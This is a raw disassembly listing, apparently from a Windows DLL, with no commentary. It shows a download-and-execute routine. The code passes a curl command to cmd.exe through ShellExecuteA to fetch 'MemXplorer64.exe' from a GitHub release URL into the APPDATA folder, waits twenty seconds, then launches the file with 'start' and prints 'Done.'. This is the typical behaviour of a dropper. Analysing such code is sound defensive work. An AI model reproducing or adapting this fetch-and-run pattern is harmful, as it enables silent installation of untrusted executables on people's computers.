call fcn.18007b027
nop
lea rax, str.curl__L__o___APPDATA_MemXplorer64.exe__https:__github.com_EnMobius_MemoryEditorTest_releases_download_P1_MemXplorer64.exe
mov qword [rbp + 8], rax
lea rdx, [0x1801b3834]
lea rcx, [rbp + 0x108]
call fcn.18007af9b
mov qword [rbp + 0x1f8], rax
mov rax, qword [rbp + 0x1f8]
mov qword [rbp + 0x200], rax
mov r8, qword [rbp + 8]
mov rdx, qword [rbp + 0x200]
lea rcx, [rbp + 0x148]
call fcn.18007c044
mov qword [rbp + 0x208], rax
mov rcx, qword [rbp + 0x208]
call fcn.18007a334
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rax
lea r8, str.cmd.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, [rbp + 0x148]
call fcn.18007a6a4
nop
lea rcx, [rbp + 0x108]
call fcn.18007a6a4
nop
mov ecx, 0x4e20
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rax, str.start__APPDATA_MemXplorer64.exe
mov qword [rbp + 0x28], rax
lea rdx, [0x1801b3834]
lea rcx, [rbp + 0x188]
call fcn.18007af9b
mov qword [rbp + 0x1f8], rax
mov rax, qword [rbp + 0x1f8]
mov qword [rbp + 0x200], rax
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x200]
lea rcx, [rbp + 0x1c8]
call fcn.18007c044
mov qword [rbp + 0x208], rax
mov rcx, qword [rbp + 0x208]
call fcn.18007a334
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rax
lea r8, str.cmd.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, [rbp + 0x1c8]
call fcn.18007a6a4
nop
lea rcx, [rbp + 0x188]
call fcn.18007a6a4
nop
lea rcx, str.Done.
call fcn.18007b027
nop
lea rsp, [rbp + 0x218]
pop rdi
pop rbp
ret